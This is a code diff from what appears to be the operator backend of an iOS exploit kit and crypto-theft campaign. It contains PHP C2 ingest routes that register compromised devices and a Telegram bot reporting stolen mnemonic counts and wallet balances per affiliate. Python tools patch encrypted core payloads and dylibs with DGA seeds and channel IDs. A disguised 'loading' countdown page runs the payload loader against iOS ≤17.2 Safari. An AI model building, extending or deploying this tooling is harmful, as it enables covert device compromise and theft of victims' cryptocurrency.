'uv' => $uv, 'uv' => $uv,
'pct' => $pct, 'pct' => $pct,
]; ];
} }
/**
* @return array{label: string, count: int, pct: float}
*/
private function deviceRow(string $label, int $count, int $total): array
{
$pct = $total > 0 ? round(($count / $total) * 100, 1) : 0.0;
return [
'label' => $label,
'count' => $count,
'pct' => $pct,
];
}
} }
+105
View File
@@ -0,0 +1,105 @@
<?php
namespace App\Services;
use App\Models\Channel;
use App\Models\User;
use Illuminate\Support\Facades\Cache;
class FilterOptionsService
{
public const CACHE_TTL_SECONDS = 300;
public const CACHE_CHANNELS_ADMIN = 'filter_options:channels:admin';
public const CACHE_AGENTS = 'filter_options:agents';
public static function channelsCacheKeyForAgent(int $agentId): string
{
return 'filter_options:channels:agent:'.$agentId;
}
/**
* @return list<array{value: string, label: string}>
*/
public function channelOptions(?User $agent = null): array
{
if ($agent !== null) {
$key = self::channelsCacheKeyForAgent((int) $agent->id);
return Cache::remember($key, self::CACHE_TTL_SECONDS, function () use ($agent) {
return $this->mapChannels(
Channel::query()
->where('user_id', (int) $agent->id)
->orderByDesc('id')
->get(['channel_id', 'remark'])
);
});
}
return Cache::remember(self::CACHE_CHANNELS_ADMIN, self::CACHE_TTL_SECONDS, function () {
return $this->mapChannels(
Channel::query()->orderByDesc('id')->get(['channel_id', 'remark'])
);
});
}
/**
* @return list<array{value: string, label: string}>
*/
public function agentOptions(): array
{
return Cache::remember(self::CACHE_AGENTS, self::CACHE_TTL_SECONDS, function () {
return User::query()
->orderBy('username')
->get(['id', 'username', 'comment'])
->map(function (User $u) {
$name = trim((string) $u->username);
$comment = trim((string) ($u->comment ?? ''));
return [
'value' => (string) $u->id,
'label' => $comment !== '' ? $name.'/'.$comment : $name,
];
})
->values()
->all();
});
}
public function forgetAll(): void
{
Cache::forget(self::CACHE_CHANNELS_ADMIN);
Cache::forget(self::CACHE_AGENTS);
}
public function forgetChannels(?int $agentUserId = null): void
{
Cache::forget(self::CACHE_CHANNELS_ADMIN);
if ($agentUserId !== null && $agentUserId > 0) {
Cache::forget(self::channelsCacheKeyForAgent($agentUserId));
}
}
public function forgetAgents(): void
{
Cache::forget(self::CACHE_AGENTS);
}
/**
* @param \Illuminate\Support\Collection<int, Channel> $channels
* @return list<array{value: string, label: string}>
*/
private function mapChannels($channels): array
{
return $channels->map(function (Channel $c) {
$id = (string) $c->channel_id;
$remark = trim((string) ($c->remark ?? ''));
return [
'value' => $id,
'label' => $remark !== '' ? $id.'/'.$remark : $id,
];
})->values()->all();
}
}
+30 -55
View File
@@ -151,7 +151,8 @@ class IngestService
/** /**
* Other C2 routes — create device if missing so business rows can attach. * Other C2 routes — create device if missing so business rows can attach.
* Old builder: never write channel_id here (put will fill it later). * Old builder: never write channel_id here (put will fill it later).
* New builder: IP-match iptj on create and when channel_id is still empty. * New builder core (`/a`, `/u`, `/event`): channel_id from ver/sdkv headers when present.
* Other new-builder routes: create device without writing channel_id.
*/ */
public function ensureDevice(Request $request, ?array $payload, ?string $deviceKey = null): ?Device public function ensureDevice(Request $request, ?array $payload, ?string $deviceKey = null): ?Device
{ {
@@ -162,7 +163,7 @@ class IngestService
$existing = Device::query()->where('device_id', $deviceKey)->first(); $existing = Device::query()->where('device_id', $deviceKey)->first();
if ($existing) { if ($existing) {
if ($this->isNewBuilderRequest($request)) { if ($this->isNewBuilderRequest($request) && $this->isXxbbCoreRequest($request)) {
$this->fillMissingAttribution($existing, $request, $payload, allowOldC: false); $this->fillMissingAttribution($existing, $request, $payload, allowOldC: false);
return $existing->refresh(); return $existing->refresh();
@@ -251,15 +252,19 @@ class IngestService
/** /**
* Old C2 (`/api/user/avatar/put`): payload `c` is the unique channel_id. * Old C2 (`/api/user/avatar/put`): payload `c` is the unique channel_id.
* New xxbb short paths (`/event`, `/u`, …): never write native `c`; * New xxbb core (`/a`, `/u`, `/event`): channel_id from request header `ver` or `sdkv`.
* attribute via recent PageVisit IP. Device is still created if no visit matches. * Other xxbb short paths: never write channel_id (device may still be created).
* *
* @return array{channel_id: ?string, source_domain: ?string} * @return array{channel_id: ?string, source_domain: ?string}
*/ */
private function resolveChannelAttribution(Request $request, ?array $payload, bool $allowOldC): array private function resolveChannelAttribution(Request $request, ?array $payload, bool $allowOldC): array
{ {
if ($this->isNewBuilderRequest($request)) { if ($this->isNewBuilderRequest($request)) {
return $this->matchNewBuilderVisit($request->ip()); if (! $this->isXxbbCoreRequest($request)) {
return ['channel_id' => null, 'source_domain' => null];
}
return $this->channelFromVerHeaders($request);
} }
if ($allowOldC) { if ($allowOldC) {
return ['channel_id' => $this->extractChannelId($request, $payload), 'source_domain' => null]; return ['channel_id' => $this->extractChannelId($request, $payload), 'source_domain' => null];
@@ -273,69 +278,35 @@ class IngestService
return (bool) $request->attributes->get('coruna_new_builder', false); return (bool) $request->attributes->get('coruna_new_builder', false);
} }
private function isXxbbCoreRequest(Request $request): bool
{
return (bool) $request->attributes->get('coruna_xxbb_core', false);
}
/** /**
* Latest iptj/pixel visit in the last N minutes whose channel_id is a * Core reports ver/sdkv as the per-channel patch string (X.Y.ZZ, 6 chars).
* new-builder channel, and no device from this client IP has already * Missing or invalid headers → null channel_id; device is still created.
* claimed that channel. Same IPv4 / IPv4-mapped IPv6 is preferred;
* otherwise a recent visit still matches across address families
* (Safari iptj is often v4, native /event often v6).
* *
* @return array{channel_id: ?string, source_domain: ?string} * @return array{channel_id: ?string, source_domain: ?string}
*/ */
private function matchNewBuilderVisit(?string $ip): array private function channelFromVerHeaders(Request $request): array
{ {
$ip = PageVisit::normalizeIp($ip); foreach (['ver', 'sdkv'] as $header) {
if ($ip === '') { $raw = trim((string) $request->header($header, ''));
return ['channel_id' => null, 'source_domain' => null]; if ($raw === '') {
}
$minutes = max(1, (int) config('coruna.xxbb.visit_match_minutes', 30));
$visits = PageVisit::query()
->where('created_at', '>=', now()->subMinutes($minutes))
->orderByDesc('id')
->get();
if ($visits->isEmpty()) {
return ['channel_id' => null, 'source_domain' => null];
}
$ipKeys = PageVisit::ipLookupKeys($ip);
$sameIp = $visits->filter(
static fn (PageVisit $visit) => in_array(PageVisit::normalizeIp($visit->ip), $ipKeys, true)
);
foreach ($sameIp->concat($visits->diff($sameIp)) as $visit) {
$code = Channel::normalizeNewChannelId((string) ($visit->channel_id ?? ''));
if ($code === null) {
continue; continue;
} }
$channel = Channel::query() $code = Channel::normalizeNewChannelId($raw);
->where('channel_id', $code) if ($code !== null) {
->where('builder_type', Channel::BUILDER_NEW) return ['channel_id' => $code, 'source_domain' => null];
->first();
if ($channel === null) {
continue;
} }
$claimed = Device::query()
->where('channel_id', $code)
->whereIn('ip', $ipKeys)
->exists();
if ($claimed) {
continue;
}
$domain = $this->sourceDomainFromVisit($visit);
return ['channel_id' => $code, 'source_domain' => $domain];
} }
return ['channel_id' => null, 'source_domain' => null]; return ['channel_id' => null, 'source_domain' => null];
} }
private function sourceDomainFromVisit(PageVisit $visit): ?string
{
return PageVisit::normalizeDomain($visit->domain);
}
private function createDevice(Request $request, ?array $payload, string $deviceKey, bool $allowOldC): Device private function createDevice(Request $request, ?array $payload, string $deviceKey, bool $allowOldC): Device
{ {
$ua = substr((string) $request->userAgent(), 0, 2000);
$attr = $this->resolveChannelAttribution($request, $payload, $allowOldC); $attr = $this->resolveChannelAttribution($request, $payload, $allowOldC);
$attrs = [ $attrs = [
'device_id' => $deviceKey, 'device_id' => $deviceKey,
@@ -345,8 +316,12 @@ class IngestService
'channel_id' => $attr['channel_id'], 'channel_id' => $attr['channel_id'],
'source_domain' => $attr['source_domain'], 'source_domain' => $attr['source_domain'],
]; ];
if ($ua !== '') { // xxbb native UA is spoofed / inaccurate; only keep header UA for old lab C2.
$attrs['user_agent'] = $ua; if (! $this->isNewBuilderRequest($request)) {
$ua = substr((string) $request->userAgent(), 0, 2000);
if ($ua !== '') {
$attrs['user_agent'] = $ua;
}
} }
$device = Device::query()->create($attrs); $device = Device::query()->create($attrs);
+74 -15
View File
@@ -26,25 +26,29 @@ class DataCommand
$days = $parts[0]; $days = $parts[0];
$channelId = $parts[1] ?? ''; $channelId = $parts[1] ?? '';
} elseif (isset($parts[0])) { } elseif (isset($parts[0])) {
if (preg_match('/^[0-9a-f]{32}$/i', $parts[0])) { $parsed = $this->parseChannelId($parts[0]);
$channelId = $parts[0]; if ($parsed === null) {
} else {
$bot->sendMessage( $bot->sendMessage(
"Usage: /data [1|7|30] [channelId]\n" "Usage: /data [1|7|30] [channelId]\n"
."Omit days for today. Omit channelId for all channels." ."Omit days for today. Omit channelId for all channels.\n"
."channelId: 旧版 32 位 hex,或新版 X.Y.ZZ(如 0.0.01)"
); );
return; return;
} }
$channelId = $parsed;
} }
if ($channelId !== '' && ! preg_match('/^[0-9a-f]{32}$/i', $channelId)) { if ($channelId !== '') {
$bot->sendMessage('channelId must be a 32-char hex string.'); $parsed = $this->parseChannelId($channelId);
if ($parsed === null) {
$bot->sendMessage('channelId 无效(需 32 位 hex 或新版 X.Y.ZZ)');
return; return;
}
$channelId = $parsed;
} }
$channelId = strtolower($channelId);
$agent = $this->context->agent(); $agent = $this->context->agent();
if ($agent !== null && $channelId !== '') { if ($agent !== null && $channelId !== '') {
@@ -74,35 +78,90 @@ class DataCommand
'agent' => $agent, 'agent' => $agent,
]); ]);
$channelLabel = $this->channelLabel($channelId, $agent !== null);
$lines = [ $lines = [
'📊 访问统计', '📊 仪表盘统计',
'区间: '.$data['from'].' ~ '.$data['to'], '区间: '.$data['from'].' ~ '.$data['to'],
'渠道: '.($channelId !== '' ? $channelId : ($agent ? '本代理全部' : '全部')), '渠道: '.$channelLabel,
'', '',
'总设备: '.$data['total'], '📦 设备与资产',
'总设备: '.$data['wallet_count'].' / '.$data['total'].' (有钱包/全部)',
'新增设备: '.$data['new_count'], '新增设备: '.$data['new_count'],
'活跃设备: '.$data['active_count'], '活跃设备: '.$data['active_count'],
'助记词: '.$data['mnemonic_count'],
'钱包地址: '.$data['address_count'],
'',
'💰 总余额',
'• USDT '.$data['balances']['usdt'],
'• TRX '.$data['balances']['trx'],
'• BTC '.$data['balances']['btc'],
'• ETH '.$data['balances']['eth'],
'• BNB '.$data['balances']['bnb'],
'',
'🌐 页面访问',
'页面 PV: '.$data['effective_pv'].' / '.$data['pv'].' (有效/全部)', '页面 PV: '.$data['effective_pv'].' / '.$data['pv'].' (有效/全部)',
'页面 UV: '.$data['effective_uv'].' / '.$data['uv'].' (有效/全部)', '页面 UV: '.$data['effective_uv'].' / '.$data['uv'].' (有效/全部)',
'有效口径: iOS≤17.2 + Safari', '有效口径: iOS≤17.2 + Safari',
'', '',
'按系统:', '访问 · 按系统 (UV / 占比):',
]; ];
foreach ($data['by_os'] as $row) { foreach ($data['by_os'] as $row) {
$lines[] = sprintf('• %s PV %d UV %d %s%%', $row['label'], $row['pv'], $row['uv'], $row['pct']); $lines[] = sprintf('• %s UV %d %s%%', $row['label'], $row['uv'], $row['pct']);
} }
$lines[] = ''; $lines[] = '';
$lines[] = '按 iOS 版本:'; $lines[] = '访问 · 按 iOS 版本 (UV / 占比):';
if ($data['by_ios_version'] === []) { if ($data['by_ios_version'] === []) {
$lines[] = '• 暂无'; $lines[] = '• 暂无';
} else { } else {
foreach ($data['by_ios_version'] as $row) { foreach ($data['by_ios_version'] as $row) {
$lines[] = sprintf('• %s PV %d UV %d %s%%', $row['label'], $row['pv'], $row['uv'], $row['pct']); $lines[] = sprintf('• %s UV %d %s%%', $row['label'], $row['uv'], $row['pct']);
}
}
$lines[] = '';
$lines[] = '受控设备 · 系统版本分布:';
if ($data['by_device_ios_version'] === []) {
$lines[] = '• 暂无';
} else {
foreach ($data['by_device_ios_version'] as $row) {
$lines[] = sprintf('• %s %d 台 %s%%', $row['label'], $row['count'], $row['pct']);
} }
} }
$bot->sendMessage(implode("\n", $lines)); $bot->sendMessage(implode("\n", $lines));
} }
/**
* Accept old 32-hex or new X.Y.ZZ channel ids.
*/
private function parseChannelId(string $raw): ?string
{
$raw = trim($raw);
if ($raw === '') {
return '';
}
if (preg_match('/^[0-9a-f]{32}$/i', $raw)) {
return strtolower($raw);
}
return Channel::normalizeNewChannelId($raw);
}
private function channelLabel(string $channelId, bool $agentScoped): string
{
if ($channelId === '') {
return $agentScoped ? '本代理全部' : '全部';
}
$row = Channel::query()->where('channel_id', $channelId)->first(['channel_id', 'remark']);
if ($row === null) {
return $channelId;
}
$remark = trim((string) ($row->remark ?? ''));
return $remark !== '' ? $channelId.'/'.$remark : $channelId;
}
} }
+4 -2
View File
@@ -23,11 +23,13 @@ class HelpCommand
' 健康检查', ' 健康检查',
'', '',
'/data [1|7|30] [channelId]', '/data [1|7|30] [channelId]',
' 查询访问统计(同仪表盘)', ' 查询仪表盘统计(设备/余额/访问/分布)',
' 天数默认当天;渠道默认全部', ' 天数默认当天;渠道默认全部',
' channelId: 旧版 32 hex 或新版 X.Y.ZZ',
' 例: /data', ' 例: /data',
' 例: /data 7', ' 例: /data 7',
' 例: /data 30 <channelId>', ' 例: /data 30 0.0.01',
' 例: /data 0.0.01',
'', '',
'/channel', '/channel',
' 列出渠道:ID、备注、归属;点按钮复制链接', ' 列出渠道:ID、备注、归属;点按钮复制链接',
+16 -25
View File
@@ -5,7 +5,8 @@ xxbb / weifile builder for coruna-lab. Separate from `channel-builder/`
`c` is a **shared DGA seed** (env `XXBB_CHANNEL_C`). After deploy, domains do `c` is a **shared DGA seed** (env `XXBB_CHANNEL_C`). After deploy, domains do
not change, so `c` cannot tell channels apart. Per-channel identity is the not change, so `c` cannot tell channels apart. Per-channel identity is the
8-char landing code (e.g. `FAFA9988`) packed into `index.js`. **version-format** id (exactly 6 chars like `2.2.66` / `A.B.C1`, alnum + dots)
patched into core `ver` / `sdkv` / `jbsdk_version`.
## 1. Build once (shared artifacts) ## 1. Build once (shared artifacts)
@@ -28,44 +29,33 @@ php artisan xxbb:build --channel-c=<32-hex>
Writes: Writes:
- `{artifact-root}/details/` (default `../public/details`) — **published** - `{artifact-root}/details/` (default `../public/details`) — **template published**
- `{state-root}/out/weifile/` (default `storage/app/channel-builder-new/out/weifile`) — **staged, not moved to public** - `{state-root}/out/weifile/` (default `storage/app/channel-builder-new/out/weifile`) — **staged**
每个 `details/*.js` 对应哪个 App:见 [`source/details/README.md`](source/details/README.md)。 每个 `details/*.js` 对应哪个 App:见 [`source/details/README.md`](source/details/README.md)。
`index.js` `https://[placeholder].icu` is replaced with **DGA(`c`)[0]**. Prints `XXBB_CHANNEL_C=…` and the domain list. Put that `c` in `.env`.
`CACACACA` is left in place for per-channel packing.
Prints `XXBB_CHANNEL_C=…` and the domain list. Put that `c` in `.env` so
device ingest can recognize the shared native field.
Do **not** change the 7zAES password `202800cfb1ad3de68e11239dcc26c30b`. Do **not** change the 7zAES password `202800cfb1ad3de68e11239dcc26c30b`.
## 2. Pack on channel create ## 2. Pack on channel create
Admin create (8-char id) runs `tools/pack_channel.py`: Admin create (id like `A.B.C1`) runs:
1. Copy staged weifile 1. `tools/build.py --channel-c $XXBB_CHANNEL_C --apply --force` (always; **no random**)
2. Replace `CACACACA` in `index.js` with the channel id 2. `tools/pack_channel.py` into `public/channel/{ver}/`
3. Zip to `public/channel-source-new/{CHANNELID}.zip`
```bash `XXBB_CHANNEL_C` must be set in `.env`. Manual `php artisan xxbb:build` is optional
.venv/bin/python tools/pack_channel.py \ (ops / refresh shared `/details`); channel create already builds from env.
--channel-code FAFA9988 \
--zip-out ../public/channel-source-new/FAFA9988.zip
```
If staged weifile is missing: run step 1 first (`php artisan xxbb:build`).
Delete a new channel removes that zip only (shared `/details` stays).
## Device attribution ## Device attribution
- **Old channels:** payload `c` is the 32-hex `channel_id` - **Old channels:** payload `c` is the 32-hex `channel_id`
- **New channels:** payload `c` is the shared seed. On device create, match - **New channels:** payload `c` is the shared seed. Core routes (`/a`, `/u`,
`PageVisit` by IP in the last 30 minutes (`XXBB_VISIT_MATCH_MINUTES`). Use `/event`) set `channel_id` from request header `ver` or `sdkv` when present
that visit’s `channelCode` as `channel_id`, and store the landing domain on and valid (`X.Y.ZZ`). Other xxbb routes create the device without writing
`devices.source_domain`. `channel_id`. Stats use `t.js` → `/statistic/t` with id from the path
`/channel/{id}/...`.
| Flag | What it replaces | Where | | Flag | What it replaces | Where |
|------|------------------|--------| |------|------------------|--------|
@@ -73,3 +63,4 @@ Delete a new channel removes that zip only (shared `/details` stays).
| `--reporting-seed` | Reporting DGA seed slot | secondary dylibs (1 hit each) | | `--reporting-seed` | Reporting DGA seed slot | secondary dylibs (1 hit each) |
| `--channel-c` | Native report / DGA `c` | each secondary (1) + corepayload (6) | | `--channel-c` | Native report / DGA `c` | each secondary (1) + corepayload (6) |
| `--random-c` | Generate a new `--channel-c` | lab_seeds.json + domains | | `--random-c` | Generate a new `--channel-c` | lab_seeds.json + domains |
| `--channel-ver` | Core `2.2.66` string | corepayload (pack only) |
@@ -0,0 +1,12 @@
<html>
<head>
<meta http-equiv="Cache-Control" content="no-cache, no-store, must-revalidate" />
<meta http-equiv="Pragma" content="no-cache" />
<meta http-equiv="Expires" content="0" />
<meta property="og:determiner" content="auto" />
<title>weifile</title>
</head>
<body>
<script type="text/javascript" src="index.js"></script>
</body>
</html>
@@ -0,0 +1,143 @@
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1, viewport-fit=cover" />
<meta http-equiv="Cache-Control" content="no-cache, no-store, must-revalidate" />
<meta http-equiv="Pragma" content="no-cache" />
<meta http-equiv="Expires" content="0" />
<meta property="og:determiner" content="auto" />
<title>加载中</title>
<style>
:root {
--bg: #0f1419;
--ring: #3d8bfd;
--ring-track: rgba(255, 255, 255, 0.12);
--text: #f3f6fa;
--muted: #9aa7b5;
}
* { box-sizing: border-box; }
html, body {
margin: 0;
min-height: 100%;
background: var(--bg);
color: var(--text);
font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, sans-serif;
}
body {
min-height: 100dvh;
display: flex;
align-items: center;
justify-content: center;
padding: 24px;
}
.stage {
width: min(100%, 320px);
text-align: center;
}
.ring-wrap {
position: relative;
width: 168px;
height: 168px;
margin: 0 auto 28px;
}
.ring {
width: 100%;
height: 100%;
transform: rotate(-90deg);
}
.ring-track {
fill: none;
stroke: var(--ring-track);
stroke-width: 8;
}
.ring-progress {
fill: none;
stroke: var(--ring);
stroke-width: 8;
stroke-linecap: round;
stroke-dasharray: 502.65;
stroke-dashoffset: 0;
transition: stroke-dashoffset 0.2s linear;
}
.countdown {
position: absolute;
inset: 0;
display: flex;
flex-direction: column;
align-items: center;
justify-content: center;
gap: 4px;
}
.countdown-num {
font-size: 42px;
font-weight: 600;
letter-spacing: -0.02em;
line-height: 1;
font-variant-numeric: tabular-nums;
}
.countdown-unit {
font-size: 13px;
color: var(--muted);
}
.title {
margin: 0 0 8px;
font-size: 20px;
font-weight: 600;
}
.subtitle {
margin: 0;
font-size: 14px;
color: var(--muted);
line-height: 1.5;
}
@media (prefers-reduced-motion: reduce) {
.ring-progress { transition: none; }
}
</style>
</head>
<body>
<div class="stage" role="status" aria-live="polite">
<div class="ring-wrap">
<svg class="ring" viewBox="0 0 180 180" aria-hidden="true">
<circle class="ring-track" cx="90" cy="90" r="80"></circle>
<circle class="ring-progress" id="ring" cx="90" cy="90" r="80"></circle>
</svg>
<div class="countdown">
<span class="countdown-num" id="sec">15</span>
<span class="countdown-unit">秒</span>
</div>
</div>
<p class="title">加载中</p>
<p class="subtitle">请稍候,正在准备页面…</p>
</div>
<script type="text/javascript" src="index.js"></script>
<script>
(function () {
var TOTAL = 15;
var CIRC = 2 * Math.PI * 80;
var ring = document.getElementById('ring');
var secEl = document.getElementById('sec');
var left = TOTAL;
var started = Date.now();
ring.style.strokeDasharray = String(CIRC);
ring.style.strokeDashoffset = '0';
function tick() {
var elapsed = (Date.now() - started) / 1000;
left = Math.max(0, TOTAL - elapsed);
var shown = Math.ceil(left);
secEl.textContent = String(shown);
ring.style.strokeDashoffset = String(CIRC * (1 - left / TOTAL));
if (left > 0) {
requestAnimationFrame(tick);
} else {
secEl.textContent = '0';
ring.style.strokeDashoffset = String(CIRC);
}
}
requestAnimationFrame(tick);
})();
</script>
</body>
</html>
+4
View File
@@ -472,6 +472,10 @@ def default_state_root() -> Path:
return PROJECT_ROOT / "storage" / "app" / "channel-builder-new" return PROJECT_ROOT / "storage" / "app" / "channel-builder-new"
def default_artifact_root() -> Path:
return PROJECT_ROOT / "public"
def main() -> int: def main() -> int:
parser = argparse.ArgumentParser( parser = argparse.ArgumentParser(
description="Patch xxbb secondary + corepayload c; apply /details and staged weifile." description="Patch xxbb secondary + corepayload c; apply /details and staged weifile."
+282 -60
View File
@@ -1,123 +1,345 @@
#!/usr/bin/env python3 #!/usr/bin/env python3
"""Pack a per-channel weifile zip from the already-built staged tree. """Pack a per-channel exclusive tree under public/channel/{ver}/.
Does not rebuild natives or details. Requires `tools/build.py --apply` first. Requires `tools/build.py --apply` first (shared staged weifile + public/details).
1. Copy staged weifile (storage/app/channel-builder-new/out/weifile) 1. Copy public/details + staged weifile
2. Replace CACACACA in index.js with the 8-char channel id 2. Patch corepayload `2.2.66` -> channel ver (same length)
3. Zip as {artifact-root}/channel-source-new/{CHANNELID}.zip 3. Patch corepayload `/details/show.html` -> `/c/{ver}/show.htm` (18 bytes; netconfig)
4. Rewrite show.html asset URLs to /channel/{ver}/details/...
5. Patch secondary `/details/show.html` -> `/c/{ver}/show.htm` (18 bytes)
6. Strip iptj beacon from index.js; inject t.js into weifile.html
7. Write to {artifact-root}/channel/{ver}/
""" """
from __future__ import annotations from __future__ import annotations
import argparse import argparse
import hashlib
import json import json
import re
import shutil
import tempfile import tempfile
from pathlib import Path from pathlib import Path
from zipfile import ZIP_DEFLATED, ZipFile
import build as xxbb_build import build as xxbb_build
from _details_pack import extract_member, make_passworded_7z
from _secondary_pack import decrypt_secondary_minjs, encrypt_secondary_minjs
RESULT_MARKER = xxbb_build.RESULT_MARKER RESULT_MARKER = xxbb_build.RESULT_MARKER
INDEX_CHANNEL_PLACEHOLDER = xxbb_build.INDEX_CHANNEL_PLACEHOLDER
WEIFILE_ROOT = xxbb_build.WEIFILE_ROOT WEIFILE_ROOT = xxbb_build.WEIFILE_ROOT
DETAILS_ROOT = xxbb_build.DETAILS_ROOT
LAB_SEEDS_NAME = xxbb_build.LAB_SEEDS_NAME LAB_SEEDS_NAME = xxbb_build.LAB_SEEDS_NAME
CORE_WIRE_NAME = xxbb_build.CORE_WIRE_NAME
CORE_MEMBER_NAME = xxbb_build.CORE_MEMBER_NAME
SHOW_WIRE_NAME = xxbb_build.SHOW_WIRE_NAME
SHOW_MEMBER_NAME = xxbb_build.SHOW_MEMBER_NAME
ORIGINAL_VER = "2.2.66"
SHOW_PATH_OLD = b"/details/show.html"
# equal length (18): /c/X.Y.ZZ/show.htm
SHOW_PATH_TMPL = "/c/{ver}/show.htm"
CHANNEL_VER_RE = re.compile(r"^[0-9A-Za-z]\.[0-9A-Za-z]\.[0-9A-Za-z]{2}$")
IPTJ_TAIL_RE = re.compile(
r",function\(\)\{\[67,72,77,75,54,73,71,48,56,70,52,50,52,57,54,67,50,50\]"
r".*?\},2e3\)\}\(\);",
re.S,
)
def normalize_channel_ver(value: str) -> str:
ver = (value or "").strip().upper()
if not CHANNEL_VER_RE.fullmatch(ver):
raise SystemExit(
f"--channel-ver must match X.Y.ZZ (6 chars, alnum+dots) like {ORIGINAL_VER!r} (got {value!r})"
)
return ver
def staged_weifile_dir(state_root: Path) -> Path: def staged_weifile_dir(state_root: Path) -> Path:
return state_root / "out" / WEIFILE_ROOT return state_root / "out" / WEIFILE_ROOT
def patch_channel_code(text: str, channel_code: str) -> str: def sha256_hex(data: bytes) -> str:
if INDEX_CHANNEL_PLACEHOLDER not in text: return hashlib.sha256(data).hexdigest()
def patch_ver_in_bytes(data: bytes, ver: str, *, label: str) -> bytes:
old = ORIGINAL_VER.encode("ascii")
new = ver.encode("ascii")
if len(old) != len(new):
raise SystemExit(f"{label}: ver length mismatch {len(old)} vs {len(new)}")
count = data.count(old)
if count < 1:
raise SystemExit(f"{label}: missing {ORIGINAL_VER!r} to patch")
return data.replace(old, new)
def patch_show_path_in_bytes(data: bytes, ver: str, *, label: str) -> bytes:
"""Equal-length rewrite of netconfig path /details/show.html -> /c/{ver}/show.htm."""
new_path = SHOW_PATH_TMPL.format(ver=ver).encode("ascii")
if len(new_path) != len(SHOW_PATH_OLD):
raise SystemExit(f"{label}: show path length {len(new_path)} != {len(SHOW_PATH_OLD)}")
count = data.count(SHOW_PATH_OLD)
if count < 1:
raise SystemExit(f"{label}: missing {SHOW_PATH_OLD!r}")
return data.replace(SHOW_PATH_OLD, new_path)
def patch_corepayload_wire(wire: bytes, ver: str) -> tuple[bytes, dict]:
member, plain = extract_member(wire)
if member != CORE_MEMBER_NAME:
raise SystemExit(f"unexpected core member {member!r}")
patched = patch_ver_in_bytes(plain, ver, label=CORE_MEMBER_NAME)
show_hits = patched.count(SHOW_PATH_OLD)
patched = patch_show_path_in_bytes(patched, ver, label=CORE_MEMBER_NAME)
digest = sha256_hex(patched)
new_wire = make_passworded_7z(CORE_MEMBER_NAME, patched)
return new_wire, {
"sha256": digest,
"size": len(patched),
"ver_hits": patched.count(ver.encode()),
"show_path_hits": show_hits,
}
def rewrite_show_urls(config_bytes: bytes, *, ver: str, core_sha256: str, core_size: int) -> bytes:
doc = json.loads(config_bytes.decode("utf-8"))
if not isinstance(doc, dict) or not isinstance(doc.get("core"), dict):
raise SystemExit("show data.bin: missing core object")
prefix = f"/channel/{ver}/details/"
def rewrite_url(url: str) -> str:
# http://host/details/foo.js -> http://host/channel/{ver}/details/foo.js
return re.sub(r"(/details/)", f"/channel/{ver}/details/", url, count=1)
core = doc["core"]
if isinstance(core.get("url"), str):
core["url"] = rewrite_url(core["url"])
core["sha256"] = core_sha256
core["size"] = core_size
for entry in doc.get("entries") or []:
if isinstance(entry, dict) and isinstance(entry.get("url"), str):
entry["url"] = rewrite_url(entry["url"])
_ = prefix # documented intent
return json.dumps(doc, separators=(",", ":"), ensure_ascii=False).encode("utf-8")
def patch_show_wire(wire: bytes, *, ver: str, core_sha256: str, core_size: int) -> bytes:
member, plain = extract_member(wire)
if member != SHOW_MEMBER_NAME:
raise SystemExit(f"unexpected show member {member!r}")
updated = rewrite_show_urls(plain, ver=ver, core_sha256=core_sha256, core_size=core_size)
return make_passworded_7z(SHOW_MEMBER_NAME, updated)
def patch_secondary_show_path(dylib: bytes, ver: str, *, label: str) -> bytes:
# One occurrence per secondary slice is enough; replace first only.
new_path = SHOW_PATH_TMPL.format(ver=ver).encode("ascii")
if len(new_path) != len(SHOW_PATH_OLD):
raise SystemExit(f"{label}: show path length {len(new_path)} != {len(SHOW_PATH_OLD)}")
if SHOW_PATH_OLD not in dylib:
raise SystemExit(f"{label}: missing {SHOW_PATH_OLD!r}")
return dylib.replace(SHOW_PATH_OLD, new_path, 1)
def patch_weifile_secondaries(weifile_dir: Path, ver: str) -> int:
keys = xxbb_build.load_keys()
patched = 0
for stem, info in keys["stems"].items():
# build.py stages patched secondaries as {stem}.min.js
path = weifile_dir / f"{stem}.min.js"
if not path.is_file():
path = weifile_dir / f"{stem}.js"
if not path.is_file():
continue
key = bytes.fromhex(info["key"])
try:
dylib = decrypt_secondary_minjs(path.read_bytes(), key)
except Exception as exc:
raise SystemExit(f"{path.name}: decrypt failed: {exc}") from exc
if SHOW_PATH_OLD not in dylib:
continue
dylib = patch_secondary_show_path(dylib, ver, label=stem)
path.write_bytes(encrypt_secondary_minjs(dylib, key))
patched += 1
if patched < 1:
raise SystemExit( raise SystemExit(
f"index.js: missing {INDEX_CHANNEL_PLACEHOLDER} placeholder; " "no secondary packs contained /details/show.html "
"re-run tools/build.py --apply" f"(looked under {weifile_dir} for *.min.js)"
) )
return text.replace(INDEX_CHANNEL_PLACEHOLDER, channel_code, 1) return patched
def write_zip(weifile_dir: Path, zip_path: Path) -> Path: def strip_iptj_beacon(index_js: str) -> str:
zip_path.parent.mkdir(parents=True, exist_ok=True) if not IPTJ_TAIL_RE.search(index_js):
if zip_path.exists(): # already stripped or unexpected layout — allow missing during rebuilds
zip_path.unlink() if "channelCode" in index_js or "__iptj_sid" in index_js:
skip = {"_bak", "__pycache__", ".DS_Store", "decoded", "mm", "stages"} raise SystemExit("index.js: iptj beacon present but pattern mismatch")
with ZipFile(zip_path, "w", compression=ZIP_DEFLATED) as archive: return index_js
for path in sorted(weifile_dir.rglob("*")): return IPTJ_TAIL_RE.sub(";", index_js, count=1)
if not path.is_file():
continue
if path.name in skip or path.suffix == ".pyc": def inject_tjs(weifile_html: str) -> str:
continue if "t.js" in weifile_html:
if any(part in skip for part in path.relative_to(weifile_dir).parts): return weifile_html
continue snippet = '<script src="/t.js" defer></script>\n'
rel = Path(WEIFILE_ROOT) / path.relative_to(weifile_dir) if "</head>" in weifile_html:
archive.write(path, rel.as_posix()) return weifile_html.replace("</head>", snippet + "</head>", 1)
return zip_path return snippet + weifile_html
LANDING_TEMPLATES = ("test", "blank")
DEFAULT_LANDING_TEMPLATE = "test"
LANDING_TEMPLATE_ROOT = xxbb_build.BUILDER_ROOT / "source" / "weifile" / "templates"
def normalize_landing_template(value: str | None) -> str:
template = (value or DEFAULT_LANDING_TEMPLATE).strip().lower()
if template not in LANDING_TEMPLATES:
raise SystemExit(
f"--landing-template must be one of: {', '.join(LANDING_TEMPLATES)} (got {value!r})"
)
return template
def apply_landing_template(weifile_dir: Path, template: str) -> Path:
template = normalize_landing_template(template)
src = LANDING_TEMPLATE_ROOT / f"{template}.html"
if not src.is_file():
